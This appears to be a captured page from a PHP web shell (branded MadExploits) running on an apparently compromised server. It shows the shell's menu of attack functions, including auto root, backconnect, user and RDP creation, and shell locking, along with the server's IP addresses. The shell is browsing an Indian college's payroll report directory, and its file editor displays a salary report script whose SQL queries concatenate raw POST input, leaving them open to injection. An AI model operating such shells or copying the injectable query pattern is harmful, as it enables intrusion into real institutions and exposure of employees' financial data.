Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.225.235.215
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
wwwroot /
jdcpatala.org /
payroll /
reports /
[ HOME SHELL ]
Name
Size
Permission
Action
logo
[ DIR ]
drwxr-xr-x
8A_report.php
2.92
KB
-rw-r--r--
bankTransfer_reports.php
2.88
KB
-rw-r--r--
gIDeductions_reports.php
3.08
KB
-rw-r--r--
gpf_reports.php
2.89
KB
-rw-r--r--
incomeTax_reports.php
2.92
KB
-rw-r--r--
lic_reports.php
2.68
KB
-rw-r--r--
npsGovtcontribution_report.php
4.16
KB
-rw-r--r--
nps_reports.php
2.85
KB
-rw-r--r--
payBill_reports.php
6.71
KB
-rw-r--r--
salarDefference_report.php
2.67
KB
-rw-r--r--
societyLoan_reports.php
2.69
KB
-rw-r--r--
totalSalary_reports.php
16.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : totalSalary_reports.php
<?php error_reporting(1); include('../include/config.php'); require_once("../functions.php"); global $db; ?> <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> table { border-collapse: collapse; border-spacing: 0; width: 100%; border: 1px solid #000; font-size:12px } th, td { text-align: left; padding: 4px; } th { background-color: antiquewhite; } </style> </head> <body> <script> function myFunction() { window.print(); } </script> <meta name="viewport" content="width=device-width, initial-scale=1"> <table style="border:none"> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td style="text-align: center;"><img src="logo/mcmlogo.png" height="50" width="500" align="absmiddle" /></td> <td><button onclick="myFunction()">Print</button></td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td style="text-align:center;font-size:20px;"><b>Total Salary</b></td> </tr> </table> <div style="overflow-x:auto;"> <div style="text-align: right;"><?php echo $_POST['fmonth'].' '.$_POST['fyear']; ?></div> <table class="tftable" border="1"> <thead> <tr> <th> </th> <th>Basic</th> <th>DA</th> <th>FP</th> <th>HRA</th> <!--<th>CCA</th>--> <th>VVB</th> <th>Total<br>Earning</th> <th>GPF</th> <th>GPF Loan</th> <th>Income<br>Tax</th> <th>NPS<br>Own</th> <th>LIC</th> <th>RD</th> <th>GI</th> <th>HR</th> <th>Water</th> <th>Society</th> <th>Adv.<br>RF</th> <th>Reco.<br>of Tax</th> <th>Total<br>Deduc.</th> <th>Net<br>Salary</th> <th>NPS<br>GOVT</th> </tr> </thead> <tbody> <?php $fmonth = $_POST['fmonth']; $fyear = $_POST['fyear']; $payrolls = $fyear.'-'.$fmonth; $q="select DISTINCT staff_Type from pay_slip WHERE payrollprds = '$payrolls' "; $res=$db->query($q); $b='0';$d='0';$h='0'; $te='0';$g='0';$gl='0';$it='0';$npo='0';$l='0'; $gi='0';$hr='0';$adv='0';$society='0';$td='0'; $ns='0';$npg='0';$rd='0';$wc='0'; while($row=$db->fetch_array($res)) { $data=$db->fetch_array($db->query("select SUM(basicpay) AS Tbasic, SUM(percenofda) AS Tda, SUM(hra) AS Thra, SUM(allowances) AS Tallowances, SUM(gpf) AS Tgpf, SUM(gpfloan) AS Tgpfloan, SUM(incometax) AS Tincometax, SUM(incometax) AS Tincometax, SUM(pfown) AS Tpfown, SUM(lic) AS Tlic, SUM(Rd) AS TRd, SUM(gi) AS Tgi, SUM(house_rent) AS Thouse_rent, SUM(water_charge) AS Twater_charge, SUM(socity_loan) AS Tsocity_loan, SUM(advance) AS Tadvance, SUM(deduction) AS Tdeduction, SUM(net_salary) AS Tnet_salary, SUM(pf_college) AS Tpf_college from pay_slip WHERE staff_Type = '".$row['staff_Type']."' AND payrollprds = '$payrolls' order by staff_Type ASC")); ?> <tr> <td style="min-width: 90px;"><b><?php echo $row['staff_Type']; ?></b></td> <td><?php echo $data['Tbasic']; $b += $data['Tbasic']; ?></td> <td><?php echo $data['Tda']; $d +=$data['Tda']; ?></td> <td>0</td> <td><?php echo $data['Thra']; $h+=$data['Thra']; ?></td> <td>0</td> <td><?php echo $data['Tallowances']; $te +=$data['Tallowances']; ?></td> <td><?php echo $data['Tgpf']; $g +=$data['Tgpf']; ?></td> <td><?php echo $data['Tgpfloan']; $gl +=$data['Tgpfloan'];?></td> <td><?php echo $data['Tincometax']; $it +=$data['Tincometax']; ?></td> <td><?php echo $data['Tpfown']; $npo +=$data['Tpfown']; ?></td> <td><?php echo $data['Tlic']; $l +=$data['Tlic']; ?></td> <td><?php echo $data['TRd']; $rd +=$data['TRd']; ?></td> <td><?php echo $data['Tgi']; $gi +=$data['Tgi']; ?></td> <td><?php echo $data['Thouse_rent']; $hr +=$data['Thouse_rent']; ?></td> <td><?php echo $data['Twater_charge']; $wc +=$data['Twater_charge']; ?></td> <td><?php echo $data['Tsocity_loan']; $society +=$data['Tsocity_loan']; ?></td> <td><?php echo $data['Tadvance']; $adv +=$data['Tadvance']; ?></td> <td>0</td> <td><?php echo $data['Tdeduction']; $td +=$data['Tdeduction']; ?></td> <td><?php echo $data['Tnet_salary']; $ns +=$data['Tnet_salary']; ?></td> <td><?php echo $data['Tpf_college']; $npg +=$data['Tpf_college']; ?></td> </tr> <?php } ?> <!-- <tr> <td style="min-width: 90px;">Clerical</td> <td><?php echo $row['gradepay']; ?></td> <td style="min-width: 70px;"><?php echo $row['scale']; ?></td> <td ><?php echo $row['basicpay']; ?></td> <td><?php echo $row['percenofda']; ?></td> <td><?php echo $row['hra']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> </tr> <tr> <td style="min-width: 90px;">Subordinate</td> <td><?php echo $row['gradepay']; ?></td> <td style="min-width: 70px;"><?php echo $row['scale']; ?></td> <td ><?php echo $row['basicpay']; ?></td> <td><?php echo $row['percenofda']; ?></td> <td><?php echo $row['hra']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> <td><?php echo $row['ada']; ?></td> </tr>--> <tr> <td style="min-width: 90px;"><b>Grand Total</b></td> <td><b><?php echo $b; ?></b></td> <td><b><?php echo $d; ?></b></td> <td><b>0</b></td> <td><b><?php echo $h; ?></b></td> <td><b>0</b></td> <td><b><?php echo $te; ?></b></td> <td><b><?php echo $g; ?></b></td> <td><b><?php echo $gl; ?></b></td> <td><b><?php echo $it; ?></b></td> <td><b><?php echo $npo; ?></b></td> <td><b><?php echo $l; ?></b></td> <td><b><?php echo $rd; ?></b></td> <td><b><?php echo $gi; ?></b></td> <td><b><?php echo $hr; ?></b></td> <td><b><?php echo $wc; ?></b></td> <td><b><?php echo $society; ?></b></td> <td><b>0</b></td> <td><b><?php echo $adv; ?></b></td> <td><b><?php echo $td; ?></b></td> <td><b><?php echo $ns; ?></b></td> <td><b><?php echo $npg; ?></b></td> </tr> </tr> </tbody> </table> <br> <style> .pahre { font-size:12px; float:left; padding:10px; } </style> <div class="pahre" style="max-width:25%"> <p> प्रमाणित किया जाता है कि – <br> 1. जिन अध्यापक / कर्मचारियो का वेतन इस बिल से निकाला जा रहा है वे अधिनियम की धारा 60 क (6) तथा (3) के अनुसार मान्य है तथा वे सम्वनिधत अवधि पर कार्य कर रहे है |<br> 2. गत मास के बिल का भुगतान हेतु प्रस्तुत करने के पशचात यदि कोई अवकाश अथवा अनुपस्थिति के मामले हुए है तो उन्हे इस बिल अंकित कर दिया गया है |<br> 3. गत मास के बिल का भुगतान यथविधि हो गया है तथा की राशि अनेक सेविंग बैंक एकाउंट मे जमा हो गयी है अथवा चेक द्वारा सम्वनिधत राशि का भुगतान कर दिया गया है |<br> 4. गत मास के शिक्षक के लिये स्वीकत प्रविधायी धन के प्रबंन्धकीय अंश अनेक प्रावधायी धन के खाते मैं जमा कर दी गयी है | <br> 5. इस बिल मै अंकित समस्त अनुदान हेतु मान्य अध्यापको / कर्मचारियो का वेतन एवं महंगाई भत्ता निर्धारित दरों से निकाला गया है | <br> 6. जिन अध्यापकों / कर्मचारियो को अवकाश वेतन दिया गया हैं उन्हे नियमानुसार अवकाश स्वीक्रत किया जा चुका हैं तथा अवकाश विवरण नियमानुसार तेयर किया गया है | <br> 7. छात्रो से प्रापत सम्वनिधत माह की शुल्काय राजाज्ञा स0 शि0 (11) /3242/ दिनांक 9-05-75 द्वारा निर्धारित अंश वेतन संदाय लेखे मै जमा किया जा चुका हैं | </p> </div> <table class="pahre" border="1" style="max-width:45%;float:left;"> <tr> <th> </th> <th>Detail Of Payments</th> <th>A/C</th> <th>TOTAL</th> </tr> <tr> <td rowspan="19"><span style="writing-mode: vertical-rl;">Total Deductions</span></td> </tr> <tr> <td>Hony. Secretary, Meerut Collge, Meerut.</td> <td>B.T</td> <td><?php echo $ns; ?></td> </tr> <tr> <td>L.I.C of India.</td> <td>L.I.C</td> <td><?php echo $l; ?></td> </tr> <tr> <td>Manager, S.B.I, Meerut Cantt.</td> <td>Income TAX</td> <td><?php echo $it; ?></td> </tr> <tr> <td>M.C.K.V.S.R Samiti Ltd. Meerut</td> <td>Society Loan</td> <td><?php echo $society; ?></td> </tr> <tr> <td>Gen. & Misc. Fund A/C, Meerut Coll, Meerut</td> <td>RD</td> <td>0</td> </tr> <tr> <td>Reserve Fund a/c, Meerut Collge Meerut.</td> <td>Advance</td> <td><?php echo $adv; ?></td> </tr> <tr> <td>Maintenence Fund A/C, Meerut Collge Meerut</td> <td>House Rent</td> <td><?php echo $hr; ?></td> </tr> <tr> <td>Maintenence Fund A/C, Meerut Collge Meerut</td> <td>Water Rent</td> <td><?php echo $wc; ?></td> </tr> <tr> <td>Recovery of I. Tax</td> <td> </td> <td>0</td> </tr> <tr> <td>Boys Fund A/c, Meerut College Meerut</td> <td>Advance</td> <td> </td> </tr> <tr> <td>Recovery of Salary</td> <td> </td> <td> </td> </tr> <tr> <td>GPF</td> <td>GPF</td> <td><?php echo $g; ?></td> </tr> <tr> <td>G.I</td> <td>G.I</td> <td><?php echo $gi; ?></td> </tr> <tr> <td>NPS A/c, Meerut Collge Meerut.</td> <td>NPS</td> <td><?php echo $npo; ?></td> </tr> <tr> <td colspan="2"><b>Grand Total</b></td> <td><b><?php echo $b+$d+$h+$te+$g+$gl+$it+$npo+$l+$gi+$hr+$adv+$society+$td+$ns+$npg+$rd+$wc; ?></b></td> </tr> <tr> <td colspan="2"><b>Less GPF</b></td> <td><b><?php echo $g+$gl; ?></b></td> </tr> <tr> <td colspan="2"><b>Less NPS</b></td> <td><b><?php echo $npo+$npg; ?></b></td> </tr> <tr> <td colspan="2"><b>Total Grant Taken</b></td> <td><b><?php echo ($b+$d+$h+$te+$g+$gl+$it+$npo+$l+$gi+$hr+$adv+$society+$td+$ns+$npg+$rd+$wc)-($npo+$npg+$g+$gl); ?></b></td> </tr> </table> <table class="pahre" border="1" style="max-width:25%;float:left;margin-left:20px;margin-bottom: 20px;"> <tr> <td rowspan="4"><span style="writing-mode:vertical-rl;">GPF</span></td> </tr> <tr> <td>GPF</td> <td><?php echo $g; ?></td> </tr> <tr> <td>GPF Loan</td> <td><?php echo $gl; ?></td> </tr> <tr> <td><b>Total GPF</b></td> <td><b><?php echo $g+$gl; ?></b></td> </tr> </table> <table class="pahre" border="1" style="max-width:25%;float:left;margin-left:20px;margin-bottom: 20px;"> <tr> <td rowspan="4"><span style="writing-mode:vertical-rl;">NPS</span></td> </tr> <tr> <td>NPS OWN</td> <td><?php echo $npo; ?></td> </tr> <tr> <td>NPS GOVT</td> <td><?php echo $npg; ?></td> </tr> <tr> <td><b>Total NPS</b></td> <td><b><?php echo $npo+$npg; ?></b></td> </tr> </table> <table class="pahre" border="1" style="max-width:25%;float:left;margin-left:20px;margin-bottom: 20px;"> <tr> <td rowspan="4"><span style="writing-mode:vertical-rl;">Total Pay</span></td> </tr> <tr> <td>Basic</td> <td><?php echo $b; ?></td> </tr> <tr> <td>V.V.B</td> <td>0</td> </tr> <tr> <td><b>Total Pay</b></td> <td><b><?php echo $b; ?></b></td> </tr> </table> <table class="pahre" border="1" style="max-width:25%;float:left;margin-left:20px;margin-bottom: 20px;"> <tr> <td rowspan="6"><span style="writing-mode:vertical-rl;">Total Earning</span></td> </tr> <tr> <td>Total Pay</td> <td><?php echo $b; ?></td> </tr> <tr> <td>DA</td> <td><?php echo $d; ?></td> </tr> <tr> <td>HRA</td> <td><?php echo $h; ?></td> </tr> <tr> <td><b>Grand Total</b></td> <td><b><?php echo $b+$d+$h; ?></b></td> </tr> </table> <table class="pahre" border="1" style="max-width:25%;float:left;margin-left:20px;margin-bottom: 20px;"> <tr> <td rowspan="4"><span style="writing-mode:vertical-rl;">Diffrence</span></td> </tr> <tr> <td>Gross pay of this Month</td> <td><?php echo $b+$d+$h; ?></td> </tr> <tr> <td>Gross pay of Last Month</td> <td>0</td> </tr> <tr> <td><b>Diffrence</b></td> <td><b><?php echo $b+$d+$h-0; ?></b></td> </tr> </table> <br> </div> </body> </html>
Close
